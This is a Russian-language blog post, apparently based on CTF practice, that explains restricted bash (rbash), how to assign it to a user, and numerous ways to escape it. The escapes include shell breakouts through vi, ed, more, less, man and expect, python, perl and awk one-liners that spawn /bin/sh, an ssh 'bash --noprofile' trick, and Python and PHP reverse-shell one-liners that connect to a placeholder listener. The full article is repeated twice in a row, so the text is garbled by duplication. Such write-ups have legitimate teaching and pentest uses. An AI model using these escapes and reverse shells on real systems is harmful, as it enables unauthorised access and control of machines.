Всем мы знаем, что взаимоотношения в инфосеке похожи на мультик «Том и Джерри», где одни предпринимают меры повышения уровня безопасности, а другие пытаются обойти их. Иногда при решении CTF заданий я встречаю ошибки конфигурации, которые помогают мне узнавать новые методы защиты.
В данной публикации мы поговорим о «ограниченном шелле или bash», который я наблюдал на множестве CTF заданиях и выработал множество способов обхода rbash(restricted bash).
Содержание статьи:
- Ограниченный шелл
- Ограничения в rbash
- ЗА ограниченного шелла
- Против ограниченного шелла
- Несколько методов обойти ограничения rbash
Ограниченный шелл: rbash.
Ограничение шелла используется для установки окружения с большим контролем, чем стандартный шелл, в этом случае шелл запускается с именем rbash или при вызове команд указывается опция -r.
Ограничения в rbash.
Шелл ведет себя так же как стандартный bash, но отсутствуют или не разрешаются следующие функции:
- cd – команда смены директории
- PATH – настройка/реконфигурация
- ENV aka BASH_ENV (настройка окружения)
- Функции импорта
- Имя файла с использованием аргументов ‘/’ и ‘-’
- Перенаправление вывода используя >, >>, >|, <>, >&, &>
- Возможность отключить ограничения при помощи ‘set +r’ и ‘set +o’
ЗА ограничение шелла.
- Rbash используется совместно с chroot окружением с целью дополнить ограничение доступа к процессу.
Против ограничений шелла.
- Возможные проблемы с запуском многих скриптов, которым необходимы множественные доступы.
- Недостаточность для полного запрета на выполнение нелегитимного кода.
Включение ограничений шелла для пользователя.
Как сказано выше rbash нужен для контроля доступа к bash шеллу пользователя и указанию разрешенных команд для исполнения этого пользователя. Чтобы управлять командами доступными пользователю выполните следующие действия:
1. Создать пользователя banuser
2. Установить пароль
3. Включить rbash для banuser
4. Указать доступную оболочку пользователю в /etc/passwd
adduser banuser
usermod –s /bin/rbash banuser
tail –n 1 /etc/passwd
Методы обходы ограничений.
1. Обход rbash используя редакторы:
- vi
- ed
2. Обход rbash с использование однострочных ЯП:
- python
- perl
- awk
3. Обход rbash через реверс шелл.
4. Обход rbash через системные утилиты:
- more
- less
- man
5. Обход rbash используя Expect.
6. Обход rbash через ssh.
Обход rbash используя редакторы.
Теперь можем подключиться под пользователем banuser к машине на которой мы завели данную учетную запись и проверим доступность системных команд таких как cd (смена директории), чтобы убедится, что rbash ограничивает наши действия.
Зададимся вопросом: «Что делать оказавшись в такой ситуации?»
Ответ: «Используйте текстовые редакторы для обхода режима ограничений»
1й метод – vi:
Вам необходимо в режиме редактировать выполнить следующую команду, чтобы покинуть режим rbash:
vi
:set shell=/bin/sh
:shell
После вы можете попробовать получить доступ к директории /etc:
cd /etc
pwd
id
2й метод – ed:
Получить доступ к /etc директории используя редактор ed:
ed
! ‘/bin/sh’
Обход ограничений rbash скриптовыми ЯП.
1й метод – Python:
Вы можете использовать интерпретатор python в режиме однострочной команды:
python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'
2й метод – Perl:
Вызовем шелл используя в perl системный вызов:
perl -e 'system("/bin/sh");'
3й метод – awk:
Однострочник для вызова shell с помощью awk:
awk 'BEGIN {system("/bin/sh")}'
Обход ограничений через реверс шелл.
1й метод Python реверс шелл.
Используйте следующий код для организации реверс шелла.
Запустим ожидание подключения на машине, где у нас есть рут права с помощью незаменимой утилиты nc:
nc -lvp 1234
После запуска данного скрипта ожидаем подключения:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
не забудьте указать необходимые (свои) LISTENING IP",LISTENING PORT.
Проверяем, что мы получили доступ к нужной машине:
2й метод - PHP:
Реверс шелл на PHP позволяющий обойти ограничения rbash(так же как в случае выше используем nc на машине, где права не ограничены):
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Обход ограничений используя системные утилиты.
Очень мало людей в курсе того, что системные утилиты (такие как less, more, head, tail, man и многие другие) позволяют осуществить обход ограничений rbash.
Представим ситуацию когда в вашей директории есть текстовый файл с логами и у вас есть несколько утилит для чтения этого файла.
1й метод - /bin/more
more text.log
!'sh'
2й метод - /bin/less
less text.log
!'sh'
3й метод - /bin/man
man man
!'sh'
Обход ограничений rbash используя Expect.
Expect это утилита unix систем которая общается с другими интерактивными программами используя скрипты. Используем ее для выхода из ограниченного режима:
expect
spwan sh
Обход ограничений rbash через SSH.
Если вам известы учетные данные для ssh пользователя в системе и доступны команды на доступ к ssh клиенту, можете использовать это:
ssh banuser@192.168.1.100 -t "bash --noprofile"
В данной публикации мы поговорим о «ограниченном шелле или bash», который я наблюдал на множестве CTF заданиях и выработал множество способов обхода rbash(restricted bash).
Содержание статьи:
- Ограниченный шелл
- Ограничения в rbash
- ЗА ограниченного шелла
- Против ограниченного шелла
- Несколько методов обойти ограничения rbash
Ограниченный шелл: rbash.
Ограничение шелла используется для установки окружения с большим контролем, чем стандартный шелл, в этом случае шелл запускается с именем rbash или при вызове команд указывается опция -r.
Ограничения в rbash.
Шелл ведет себя так же как стандартный bash, но отсутствуют или не разрешаются следующие функции:
- cd – команда смены директории
- PATH – настройка/реконфигурация
- ENV aka BASH_ENV (настройка окружения)
- Функции импорта
- Имя файла с использованием аргументов ‘/’ и ‘-’
- Перенаправление вывода используя >, >>, >|, <>, >&, &>
- Возможность отключить ограничения при помощи ‘set +r’ и ‘set +o’
ЗА ограничение шелла.
- Rbash используется совместно с chroot окружением с целью дополнить ограничение доступа к процессу.
Против ограничений шелла.
- Возможные проблемы с запуском многих скриптов, которым необходимы множественные доступы.
- Недостаточность для полного запрета на выполнение нелегитимного кода.
Включение ограничений шелла для пользователя.
Как сказано выше rbash нужен для контроля доступа к bash шеллу пользователя и указанию разрешенных команд для исполнения этого пользователя. Чтобы управлять командами доступными пользователю выполните следующие действия:
1. Создать пользователя banuser
2. Установить пароль
3. Включить rbash для banuser
4. Указать доступную оболочку пользователю в /etc/passwd
adduser banuser
usermod –s /bin/rbash banuser
tail –n 1 /etc/passwd
Методы обходы ограничений.
1. Обход rbash используя редакторы:
- vi
- ed
2. Обход rbash с использование однострочных ЯП:
- python
- perl
- awk
3. Обход rbash через реверс шелл.
4. Обход rbash через системные утилиты:
- more
- less
- man
5. Обход rbash используя Expect.
6. Обход rbash через ssh.
Обход rbash используя редакторы.
Теперь можем подключиться под пользователем banuser к машине на которой мы завели данную учетную запись и проверим доступность системных команд таких как cd (смена директории), чтобы убедится, что rbash ограничивает наши действия.
Зададимся вопросом: «Что делать оказавшись в такой ситуации?»
Ответ: «Используйте текстовые редакторы для обхода режима ограничений»
1й метод – vi:
Вам необходимо в режиме редактировать выполнить следующую команду, чтобы покинуть режим rbash:
vi
:set shell=/bin/sh
:shell
После вы можете попробовать получить доступ к директории /etc:
cd /etc
pwd
id
2й метод – ed:
Получить доступ к /etc директории используя редактор ed:
ed
! ‘/bin/sh’
Обход ограничений rbash скриптовыми ЯП.
1й метод – Python:
Вы можете использовать интерпретатор python в режиме однострочной команды:
python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'
2й метод – Perl:
Вызовем шелл используя в perl системный вызов:
perl -e 'system("/bin/sh");'
3й метод – awk:
Однострочник для вызова shell с помощью awk:
awk 'BEGIN {system("/bin/sh")}'
Обход ограничений через реверс шелл.
1й метод Python реверс шелл.
Используйте следующий код для организации реверс шелла.
Запустим ожидание подключения на машине, где у нас есть рут права с помощью незаменимой утилиты nc:
nc -lvp 1234
После запуска данного скрипта ожидаем подключения:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
не забудьте указать необходимые (свои) LISTENING IP",LISTENING PORT.
Проверяем, что мы получили доступ к нужной машине:
2й метод - PHP:
Реверс шелл на PHP позволяющий обойти ограничения rbash(так же как в случае выше используем nc на машине, где права не ограничены):
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Обход ограничений используя системные утилиты.
Очень мало людей в курсе того, что системные утилиты (такие как less, more, head, tail, man и многие другие) позволяют осуществить обход ограничений rbash.
Представим ситуацию когда в вашей директории есть текстовый файл с логами и у вас есть несколько утилит для чтения этого файла.
1й метод - /bin/more
more text.log
!'sh'
2й метод - /bin/less
less text.log
!'sh'
3й метод - /bin/man
man man
!'sh'
Обход ограничений rbash используя Expect.
Expect это утилита unix систем которая общается с другими интерактивными программами используя скрипты. Используем ее для выхода из ограниченного режима:
expect
spwan sh
Обход ограничений rbash через SSH.
Если вам известы учетные данные для ssh пользователя в системе и доступны команды на доступ к ssh клиенту, можете использовать это:
ssh banuser@192.168.1.100 -t "bash --noprofile"
Комментариев нет:
Отправить комментарий